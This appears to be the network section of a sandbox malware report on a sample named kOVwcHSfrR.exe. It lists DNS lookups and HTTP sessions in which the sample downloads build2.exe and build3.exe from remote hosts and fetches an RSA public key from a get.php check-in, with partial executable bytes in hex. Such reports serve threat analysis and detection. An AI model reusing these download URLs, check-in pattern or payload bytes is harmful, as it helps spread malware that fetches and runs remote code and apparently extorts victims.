Jan 9, 2024 15:46:11.219707966 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	187.140.17.135	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.126.109.15	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	190.219.136.87	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219733000 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	187.140.17.135	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.126.109.15	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	190.219.136.87	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.219877958 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	187.140.17.135	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.126.109.15	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	190.219.136.87	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:11.261758089 CET	1.1.1.1	192.168.2.10	0x1a2f	No error (0)	zexeq.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:16.620651960 CET	1.1.1.1	192.168.2.10	0xb134	No error (0)	windowsupdatebg.s.llnwi.net	69.164.0.128	A (IP address)	IN (0x0001)	false
Jan 9, 2024 15:46:42.010040998 CET	1.1.1.1	192.168.2.10	0x1aa0	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

t.me

brusuax.com

zexeq.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	187.211.34.211	80	8028	C:\Users\user\Desktop\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2024 15:46:09.747746944 CET	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: brusuax.com
Jan 9, 2024 15:46:10.893512011 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 09 Jan 2024 14:46:10 GMT Content-Type: application/octet-stream Content-Length: 252928 Last-Modified: Thu, 04 Jan 2024 11:20:03 GMT Connection: close ETag: "65969463-3dc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 1f a9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ec 01 00 00 1c 44 00 00 00 00 00 51 1c 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 45 00 00 04 00 00 5e dc 03 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 22 02 00 50 00 00 00 00 40 44 00 d8 ad 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 1c 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3d ea 01 00 00 10 00 00 00 ec 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 cc 2b 00 00 00 00 02 00 00 2c 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 00 42 00 00 30 02 00 00 12 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 ad 01 00 00 40 44 00 00 ae 01 00 00 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELGdDQ@E^"P@D@.text= `.rdata+,@@.data\|B0@.rsrc@D.@@
Jan 9, 2024 15:46:10.893537998 CET	1286	IN	Data Raw: 66 8b 08 66 89 0a c3 cc cc cc cc cc cc cc cc cc 8a 08 88 0a c3 cc cc cc cc cc cc cc cc cc cc cc 81 00 47 86 c8 61 c3 cc cc cc cc cc cc cc cc cc 81 00 e1 34 ef c6 c3 cc cc cc cc cc cc cc cc cc 29 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b Data Ascii: ffGa4)UxEV0@W3=.uEuWxBWtBX<B\<BSE}MU`<Bd<BE?EM uEE.EuhWRWlBW
Jan 9, 2024 15:46:10.893552065 CET	308	IN	Data Raw: 81 3d d8 2e 84 00 a8 00 00 00 75 34 68 9c 13 42 00 6a 00 ff d7 6a 00 8d 55 f0 52 ff d3 6a 00 ff 15 0c 00 42 00 8d 45 e8 50 8d 8d bc f7 ff ff 51 ff 15 18 00 42 00 6a 00 6a 00 ff 15 94 00 42 00 46 3b 35 d8 2e 84 00 72 a1 8b 3d a8 00 42 00 8b 1d 88 Data Ascii: =.u4hBjjURjBEPQBjjBF;5.r=BB3.ujjhBjj(BjTBF!\|=@B3bu$Ft\|5\|B=hBBE{=.u3jPhBjhBhB
Jan 9, 2024 15:46:10.893567085 CET	1286	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec 2c 04 00 00 81 3d d8 2e 84 00 00 04 00 00 53 56 57 75 48 33 c9 33 c0 8d 54 24 0c 52 66 89 44 24 10 66 89 4c 24 12 8b 44 24 10 50 51 68 14 15 42 00 51 ff 15 ac 00 42 00 6a 00 6a 00 8d 4c 24 40 51 6a 00 ff Data Ascii: U,=.SVWuH33T$RfD$fL$D$PQhBQBjjL$@Qj\BD$t$\$=@B3*~ExuF]\|=DBB3$jBGm F\|\$=,B3j%+~tPxuF\|>B
Jan 9, 2024 15:46:11.054182053 CET	1286	IN	Data Raw: 43 53 e8 de 1e 00 00 59 85 c0 75 08 6a 1c e8 58 ff ff ff 59 e8 3f 1d 00 00 85 c0 75 08 6a 10 e8 47 ff ff ff 59 e8 d2 18 00 00 89 5d fc e8 76 16 00 00 85 c0 7d 08 6a 1b e8 9a 04 00 00 59 e8 5f 16 00 00 a3 78 30 84 00 e8 fe 15 00 00 a3 64 41 42 00 Data Ascii: CSYujXY?ujGY]v}jY_x0dABF}juY}jdYSY;tPRY]tMjYQPVh@ZE9uuP}5EMPQYYeEE}uPvE
Jan 9, 2024 15:46:11.054207087 CET	308	IN	Data Raw: ec 01 42 00 ff 15 c8 00 42 00 85 c0 74 15 68 dc 01 42 00 50 ff 15 48 00 42 00 85 c0 74 05 ff 75 08 ff d0 5d c3 8b ff 55 8b ec ff 75 08 e8 c8 ff ff ff 59 ff 75 08 ff 15 d0 00 42 00 cc 6a 08 e8 77 29 00 00 59 c3 6a 08 e8 94 28 00 00 59 c3 8b ff 55 Data Ascii: BBthBPHBtu]UuYuBjw)Yj(YUVt;ur^]UVu3ut;ur^]U=p0thp06Ytup0Y45hBhBYYuBhb4@4B$Bc=t0
Jan 9, 2024 15:46:11.364228010 CET	1286	IN	Data Raw: 42 00 0f 84 c5 00 00 00 89 1d 98 41 42 00 8a 45 10 a2 94 41 42 00 83 7d 0c 00 0f 85 9d 00 00 00 ff 35 68 30 84 00 e8 5e 13 00 00 59 8b f8 89 7d d8 85 ff 74 78 ff 35 64 30 84 00 e8 49 13 00 00 59 8b f0 89 75 dc 89 7d e4 89 75 e0 83 ee 04 89 75 dc Data Ascii: BABEAB}5h0^Y}tx5d0IYu}uu;rW%9t;rJ65h05d09}u9Et}}Eu}hBB_YhBBOYE}u(ABj&Yu
Jan 9, 2024 15:46:11.364253998 CET	1286	IN	Data Raw: e8 9b 37 00 00 40 59 83 f8 3c 76 38 56 e8 8e 37 00 00 83 ee 3b 03 c6 6a 03 b9 cc 44 42 00 68 8c 07 42 00 2b c8 51 50 e8 bb 36 00 00 83 c4 14 85 c0 74 11 33 f6 56 56 56 56 56 e8 55 04 00 00 83 c4 14 eb 02 33 f6 68 88 07 42 00 53 57 e8 21 36 00 00 Data Ascii: 7@Y<v8V7;jDBhB+QP6t3VVVVVU3hBSW!6tVVVVV1E40BSW5tVVVVVh h`BWo42jB;t$tjEP40B66YP6SB_^[j7Ytj7Yu=
Jan 9, 2024 15:46:11.364267111 CET	1286	IN	Data Raw: ff 66 8c 8d ec fd ff ff 66 8c 9d c8 fd ff ff 66 8c 85 c4 fd ff ff 66 8c a5 c0 fd ff ff 66 8c ad bc fd ff ff 9c 8f 85 f0 fd ff ff 8b 45 04 8d 4d 04 c7 85 30 fd ff ff 01 00 01 00 89 85 e8 fd ff ff 89 8d f4 fd ff ff 8b 49 fc 89 8d e4 fd ff ff c7 85 Data Ascii: fffffEM0IBjB(PBuuj5YhBPBM3[VU5DBYt]js5Y]UE3;0BtA-
Jan 9, 2024 15:46:11.364281893 CET	1286	IN	Data Raw: ed 0f b7 08 66 85 c9 74 24 39 55 fc 75 0c 66 83 f9 20 74 19 66 83 f9 09 74 13 85 ff 74 0b 85 f6 74 05 66 89 0e 46 46 ff 03 40 40 eb 82 85 f6 74 07 33 c9 66 89 0e 46 46 ff 03 8b 7d 0c e9 32 ff ff ff 8b 45 08 3b c2 74 02 89 10 ff 07 5f 5e c9 c3 8b Data Ascii: ft$9Uuf tftttfFF@@t3fFF}2E;t_^UQQSVWhDBV33SfFBBx05AB;tf9uEPS]3`]YY?sJMs?Y;r4PV)Yt'EPV]EHYpABY5xAB
Jan 9, 2024 15:46:11.364293098 CET	1286	IN	Data Raw: 1b ff 35 e0 46 42 00 e8 65 ff ff ff 59 8b f0 56 ff 35 94 32 42 00 ff 15 14 01 42 00 8b c6 5e c3 a1 90 32 42 00 83 f8 ff 74 16 50 ff 35 e8 46 42 00 e8 3b ff ff ff 59 ff d0 83 0d 90 32 42 00 ff a1 94 32 42 00 83 f8 ff 74 0e 50 ff 15 18 01 42 00 83 Data Ascii: 5FBeYV52BB^2BtP5FB;Y2B2BtPB2BjhHB]TBVBuVYEuF\B3G~t$hDBPHBhpBu~pCKCFh2BjYevhBE>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49709	186.182.55.44	80	8028	C:\Users\user\Desktop\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2024 15:46:11.551275969 CET	137	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2024 15:46:12.541258097 CET	770	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:18 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 566 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 30 4a 64 77 62 52 6b 30 44 45 51 5c 2f 4e 48 48 31 59 6d 50 38 5c 5c 6e 71 59 66 64 62 4f 53 50 34 70 4c 32 4e 77 30 74 32 75 30 4c 6a 53 35 76 41 30 49 63 5c 2f 71 5c 2f 46 5c 2f 46 4a 67 39 6f 68 47 74 7a 71 6e 35 62 45 52 78 6a 74 6a 69 63 78 38 50 32 4b 31 56 43 62 34 5c 5c 6e 79 67 73 31 31 38 2b 7a 6d 42 4d 69 32 4f 4e 31 6d 5c 2f 61 57 72 68 67 66 45 7a 50 66 6d 74 54 54 4e 53 57 39 46 77 65 30 57 69 6e 67 41 37 7a 4d 75 51 52 36 61 31 69 63 37 4e 65 65 71 66 6d 2b 5c 5c 6e 4f 52 5a 5a 4a 31 5a 62 51 57 75 38 67 4a 67 5c 2f 54 63 4c 50 4b 7a 36 41 51 49 35 4f 47 33 41 49 73 39 52 6c 45 37 33 68 34 4b 6f 44 67 41 7a 50 62 49 6b 5c 2f 65 5a 37 70 79 68 41 6c 6e 4c 62 31 5c 5c 6e 46 77 57 49 38 6b 68 41 75 35 6f 72 6d 35 6b 4a 7a 69 74 57 45 76 72 76 38 54 79 63 6d 33 36 65 32 4e 37 38 75 73 33 62 6c 2b 76 2b 44 66 43 50 49 4c 72 6b 7a 2b 64 4b 72 51 78 51 6a 71 53 4e 5c 5c 6e 36 58 75 54 70 37 34 4f 5a 58 39 68 45 36 45 66 4a 5c 2f 42 58 73 6c 6b 78 58 2b 5c 2f 4d 6e 6f 4f 38 37 31 55 68 66 35 6c 38 4d 67 5c 2f 2b 7a 66 35 5c 2f 59 56 6a 58 38 5c 2f 66 6b 33 45 33 58 75 6e 67 4b 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 54 6b 56 48 66 43 49 49 77 61 41 79 44 4a 75 46 70 42 45 67 7a 49 5a 67 59 37 49 58 44 36 43 39 6f 72 6d 52 41 7a 49 66 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JdwbRk0DEQ\/NHH1YmP8\\nqYfdbOSP4pL2Nw0t2u0LjS5vA0Ic\/q\/F\/FJg9ohGtzqn5bERxjtjicx8P2K1VCb4\\nygs118+zmBMi2ON1m\/aWrhgfEzPfmtTTNSW9Fwe0WingA7zMuQR6a1ic7Neeqfm+\\nORZZJ1ZbQWu8gJg\/TcLPKz6AQI5OG3AIs9RlE73h4KoDgAzPbIk\/eZ7pyhAlnLb1\\nFwWI8khAu5orm5kJzitWEvrv8Tycm36e2N78us3bl+v+DfCPILrkz+dKrQxQjqSN\\n6XuTp74OZX9hE6EfJ\/BXslkxX+\/MnoO871Uhf5l8Mg\/+zf5\/YVjX8\/fk3E3XungK\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49708	186.182.55.44	80	8088	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2024 15:46:11.614729881 CET	126	OUT	GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2024 15:46:12.646827936 CET	770	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:18 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 566 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 30 4a 64 77 62 52 6b 30 44 45 51 5c 2f 4e 48 48 31 59 6d 50 38 5c 5c 6e 71 59 66 64 62 4f 53 50 34 70 4c 32 4e 77 30 74 32 75 30 4c 6a 53 35 76 41 30 49 63 5c 2f 71 5c 2f 46 5c 2f 46 4a 67 39 6f 68 47 74 7a 71 6e 35 62 45 52 78 6a 74 6a 69 63 78 38 50 32 4b 31 56 43 62 34 5c 5c 6e 79 67 73 31 31 38 2b 7a 6d 42 4d 69 32 4f 4e 31 6d 5c 2f 61 57 72 68 67 66 45 7a 50 66 6d 74 54 54 4e 53 57 39 46 77 65 30 57 69 6e 67 41 37 7a 4d 75 51 52 36 61 31 69 63 37 4e 65 65 71 66 6d 2b 5c 5c 6e 4f 52 5a 5a 4a 31 5a 62 51 57 75 38 67 4a 67 5c 2f 54 63 4c 50 4b 7a 36 41 51 49 35 4f 47 33 41 49 73 39 52 6c 45 37 33 68 34 4b 6f 44 67 41 7a 50 62 49 6b 5c 2f 65 5a 37 70 79 68 41 6c 6e 4c 62 31 5c 5c 6e 46 77 57 49 38 6b 68 41 75 35 6f 72 6d 35 6b 4a 7a 69 74 57 45 76 72 76 38 54 79 63 6d 33 36 65 32 4e 37 38 75 73 33 62 6c 2b 76 2b 44 66 43 50 49 4c 72 6b 7a 2b 64 4b 72 51 78 51 6a 71 53 4e 5c 5c 6e 36 58 75 54 70 37 34 4f 5a 58 39 68 45 36 45 66 4a 5c 2f 42 58 73 6c 6b 78 58 2b 5c 2f 4d 6e 6f 4f 38 37 31 55 68 66 35 6c 38 4d 67 5c 2f 2b 7a 66 35 5c 2f 59 56 6a 58 38 5c 2f 66 6b 33 45 33 58 75 6e 67 4b 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 54 6b 56 48 66 43 49 49 77 61 41 79 44 4a 75 46 70 42 45 67 7a 49 5a 67 59 37 49 58 44 36 43 39 6f 72 6d 52 41 7a 49 66 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JdwbRk0DEQ\/NHH1YmP8\\nqYfdbOSP4pL2Nw0t2u0LjS5vA0Ic\/q\/F\/FJg9ohGtzqn5bERxjtjicx8P2K1VCb4\\nygs118+zmBMi2ON1m\/aWrhgfEzPfmtTTNSW9Fwe0WingA7zMuQR6a1ic7Neeqfm+\\nORZZJ1ZbQWu8gJg\/TcLPKz6AQI5OG3AIs9RlE73h4KoDgAzPbIk\/eZ7pyhAlnLb1\\nFwWI8khAu5orm5kJzitWEvrv8Tycm36e2N78us3bl+v+DfCPILrkz+dKrQxQjqSN\\n6XuTp74OZX9hE6EfJ\/BXslkxX+\/MnoO871Uhf5l8Mg\/+zf5\/YVjX8\/fk3E3XungK\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49715	186.182.55.44	80	8028	C:\Users\user\Desktop\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2024 15:46:20.055151939 CET	94	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2024 15:46:21.164530993 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:27 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 